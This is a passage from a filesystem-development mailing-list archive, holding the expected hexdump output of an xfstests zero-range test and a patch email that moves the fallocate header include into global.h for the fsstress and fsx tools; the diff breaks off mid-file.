+zero 0, 1023 +wrote 1024/1024 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 1024/1024 bytes at offset 1024 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +000003f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 41 ...............A +00000400: 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB +* +read 2048/2048 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 0, 1024 +wrote 1024/1024 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 1024/1024 bytes at offset 1024 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +00000400: 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB +* +read 2048/2048 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 0, 1025 +wrote 1024/1024 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 1024/1024 bytes at offset 1024 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +00000400: 00 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 .BBBBBBBBBBBBBBB +00000410: 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB +* +read 2048/2048 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 1023, 1024 +wrote 1024/1024 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 1024/1024 bytes at offset 1024 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA +* +000003f0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 00 AAAAAAAAAAAAAAA. +00000400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +000007f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 42 ...............B +read 2048/2048 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 1023, 1025 +wrote 1024/1024 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 1024/1024 bytes at offset 1024 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA +* +000003f0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 00 AAAAAAAAAAAAAAA. +00000400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +read 2048/2048 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 1023, 1026 +wrote 1024/1024 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 1024/1024 bytes at offset 1024 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA +* +000003f0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 00 AAAAAAAAAAAAAAA. +00000400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +read 2048/2048 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 1024, 1024 +wrote 1024/1024 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 1024/1024 bytes at offset 1024 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA +* +00000400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +read 2048/2048 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 512 , 1024 +wrote 1024/1024 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 1024/1024 bytes at offset 1024 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA +* +00000200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +00000600: 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB +* +read 2048/2048 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 0, 1 +wrote 2048/2048 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 2048/2048 bytes at offset 2048 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 00 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 .AAAAAAAAAAAAAAA +00000010: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA +* +00000800: 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB +* +read 4096/4096 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 0, 2047 +wrote 2048/2048 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 2048/2048 bytes at offset 2048 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +000007f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 41 ...............A +00000800: 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB +* +read 4096/4096 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 0, 2048 +wrote 2048/2048 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 2048/2048 bytes at offset 2048 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +00000800: 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB +* +read 4096/4096 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 0, 2049 +wrote 2048/2048 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 2048/2048 bytes at offset 2048 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +00000800: 00 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 .BBBBBBBBBBBBBBB +00000810: 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB +* +read 4096/4096 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 2047, 2048 +wrote 2048/2048 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 2048/2048 bytes at offset 2048 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA +* +000007f0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 00 AAAAAAAAAAAAAAA. +00000800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +00000ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 42 ...............B +read 4096/4096 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 2047, 2049 +wrote 2048/2048 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 2048/2048 bytes at offset 2048 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA +* +000007f0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 00 AAAAAAAAAAAAAAA. +00000800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +read 4096/4096 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 2047, 2050 +wrote 2048/2048 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 2048/2048 bytes at offset 2048 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA +* +000007f0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 00 AAAAAAAAAAAAAAA. +00000800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +read 4096/4096 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 2048, 2048 +wrote 2048/2048 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 2048/2048 bytes at offset 2048 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA +* +00000800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +read 4096/4096 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 1024 , 2048 +wrote 2048/2048 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 2048/2048 bytes at offset 2048 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA +* +00000400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +00000c00: 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB +* +read 4096/4096 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 0, 1 +wrote 4096/4096 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4096 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 00 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 .AAAAAAAAAAAAAAA +00000010: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA +* +00001000: 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB +* +read 8192/8192 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 0, 4095 +wrote 4096/4096 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4096 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +00000ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 41 ...............A +00001000: 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB +* +read 8192/8192 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 0, 4096 +wrote 4096/4096 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4096 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +00001000: 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB +* +read 8192/8192 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 0, 4097 +wrote 4096/4096 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4096 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +00001000: 00 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 .BBBBBBBBBBBBBBB +00001010: 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB +* +read 8192/8192 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 4095, 4096 +wrote 4096/4096 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4096 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA +* +00000ff0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 00 AAAAAAAAAAAAAAA. +00001000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +00001ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 42 ...............B +read 8192/8192 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 4095, 4097 +wrote 4096/4096 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4096 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA +* +00000ff0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 00 AAAAAAAAAAAAAAA. +00001000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +read 8192/8192 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 4095, 4098 +wrote 4096/4096 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4096 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA +* +00000ff0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 00 AAAAAAAAAAAAAAA. +00001000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +read 8192/8192 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 4096, 4096 +wrote 4096/4096 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4096 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA +* +00001000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +read 8192/8192 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 2048 , 4096 +wrote 4096/4096 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4096 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA +* +00000800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +00001800: 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB +* +read 8192/8192 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 0, 1 +wrote 65536/65536 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 65536/65536 bytes at offset 65536 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 00 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 .AAAAAAAAAAAAAAA +00000010: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA +* +00010000: 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB +* +read 131072/131072 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 0, 65535 +wrote 65536/65536 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 65536/65536 bytes at offset 65536 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +0000fff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 41 ...............A +00010000: 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB +* +read 131072/131072 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 0, 65536 +wrote 65536/65536 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 65536/65536 bytes at offset 65536 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +00010000: 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB +* +read 131072/131072 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 0, 65537 +wrote 65536/65536 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 65536/65536 bytes at offset 65536 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +00010000: 00 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 .BBBBBBBBBBBBBBB +00010010: 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB +* +read 131072/131072 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 65535, 65536 +wrote 65536/65536 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 65536/65536 bytes at offset 65536 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA +* +0000fff0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 00 AAAAAAAAAAAAAAA. +00010000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +0001fff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 42 ...............B +read 131072/131072 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 65535, 65537 +wrote 65536/65536 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 65536/65536 bytes at offset 65536 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA +* +0000fff0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 00 AAAAAAAAAAAAAAA. +00010000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +read 131072/131072 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 65535, 65538 +wrote 65536/65536 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 65536/65536 bytes at offset 65536 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA +* +0000fff0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 00 AAAAAAAAAAAAAAA. +00010000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +read 131072/131072 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 65536, 65536 +wrote 65536/65536 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 65536/65536 bytes at offset 65536 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA +* +00010000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +read 131072/131072 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 32768 , 65536 +wrote 65536/65536 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 65536/65536 bytes at offset 65536 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA +* +00008000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +00018000: 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB +* +read 131072/131072 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) diff --git a/tests/generic/group b/tests/generic/group index 34bd118..a99b6a1 100644 --- a/tests/generic/group +++ b/tests/generic/group @@ -9,6 +9,7 @@ 005 dir udf auto quick 006 dir udf auto quick 007 dir udf auto quick +008 auto quick prealloc 010 other udf auto 011 dir udf auto quick 013 other ioctl udf auto quick -- 1.8.3.1 From lczerner@redhat.com Wed Mar 5 09:52:01 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C3DD17F5F for ; Wed, 5 Mar 2014 09:52:01 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 71867AC007 for ; Wed, 5 Mar 2014 07:52:01 -0800 (PST) X-ASG-Debug-ID: 1394034720-04bdf05da92bef70001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id lquyMoilus7fptzy for ; Wed, 05 Mar 2014 07:52:00 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s25Fq07L003494 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 5 Mar 2014 10:52:00 -0500 Received: from localhost.localdomain.com (vpn1-6-48.ams2.redhat.com [10.36.6.48]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s25FpkuQ022264; Wed, 5 Mar 2014 10:51:58 -0500 From: Lukas Czerner To: linux-ext4@vger.kernel.org Cc: xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org, lczerner@redhat.com Subject: [PATCH v2 4/8] xfstests: Move fallocate include into global.h Date: Wed, 5 Mar 2014 16:51:35 +0100 X-ASG-Orig-Subj: [PATCH v2 4/8] xfstests: Move fallocate include into global.h Message-Id: <1394034699-21187-5-git-send-email-lczerner@redhat.com> In-Reply-To: <1394034699-21187-1-git-send-email-lczerner@redhat.com> References: <1394034699-21187-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1394034720 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Move the inclusion of falloc.h with all it's possible defines for the fallocate mode into global.h header file so we do not have to include and define it manually in every tool using fallocate. Signed-off-by: Lukas Czerner Reviewed-by: Eric Sandeen --- configure.ac | 3 ++- ltp/fsstress.c | 11 ++--------- ltp/fsx.c | 11 ++++------- src/global.h | 25 +++++++++++++++++++++++++ 4 files changed, 33 insertions(+), 17 deletions(-) diff --git a/configure.ac b/configure.ac index 6fba3ad..2f95c4c 100644 --- a/configure.ac +++ b/configure.ac @@ -25,7 +25,8 @@ AC_HEADER_STDC sys/wait.h \ sys/types.h \ strings.h \ - err.h + err.h \ + linux/falloc.h ]) AC_CHECK_HEADERS([ sys/fs/xfs_fsops.h \ sys/fs/xfs_itable.h \ diff --git a/ltp/fsstress.c b/ltp/fsstress.c index c56f168..7dec7c6 100644 --- a/ltp/fsstress.c +++ b/ltp/fsstress.c @@ -27,13 +27,6 @@ #ifdef HAVE_LINUX_FIEMAP_H #include #endif -#ifdef FALLOCATE -#include -#ifndef FALLOC_FL_PUNCH_HOLE -/* Copy-paste from linux/falloc.h */ -#define FALLOC_FL_PUNCH_HOLE 0x02 /* de-allocates range */ -#endif -#endif #ifndef HAVE_ATTR_LIST #define attr_list(path, buf, size, flags, cursor) (errno = -ENOSYS, -1) #endif @@ -2085,7 +2078,7 @@ dwrite_f(int opno, long r) void fallocate_f(int opno, long r) { -#ifdef FALLOCATE +#ifdef HAVE_LINUX_FALLOC_H int e; pathname_t f; int fd; @@ -2507,7 +2500,7 @@ mknod_f(int opno, long r) void punch_f(int opno, long r) { -#ifdef FALLOCATE +#ifdef HAVE_LINUX_FALLOC_H int e; pathname_t f; int fd; diff --git a/ltp/fsx.c b/ltp/fsx.c index 2f1e3e8..c36a038 100644 --- a/ltp/fsx.c +++ b/ltp/fsx.c @@ -33,9 +33,6 @@ #ifdef AIO #include #endif -#ifdef FALLOCATE -#include -#endif #ifndef MAP_FILE # define MAP_FILE 0 @@ -882,7 +879,7 @@ do_punch_hole(unsigned offset, unsigned length) } #endif -#ifdef FALLOCATE +#ifdef HAVE_LINUX_FALLOC_H /* fallocate is basically a no-op unless extending, then a lot like a truncate */ void do_preallocate(unsigned offset, unsigned length) @@ -1139,7 +1136,7 @@ usage(void) " -A: Use the AIO system calls\n" #endif " -D startingop: debug output starting at specified operation\n" -#ifdef FALLOCATE +#ifdef HAVE_LINUX_FALLOC_H " -F: Do not use fallocate (preallocation) calls\n" #endif #ifdef FALLOC_FL_PUNCH_HOLE @@ -1296,7 +1293,7 @@ int aio_rw(int rw, int fd, char *buf, unsigned len, unsigned offset) void test_fallocate() { -#ifdef FALLOCATE +#ifdef HAVE_LINUX_FALLOC_H if (!lite && fallocate_calls) { if (fallocate(fd, 0, 0, 1) && errno == EOPNOTSUPP) { if(!quiet) @@ -1306,7 +1303,7 @@ test_fallocate() ftruncate(fd, 0); } } -#else /* ! FALLOCATE */ +#else /* ! 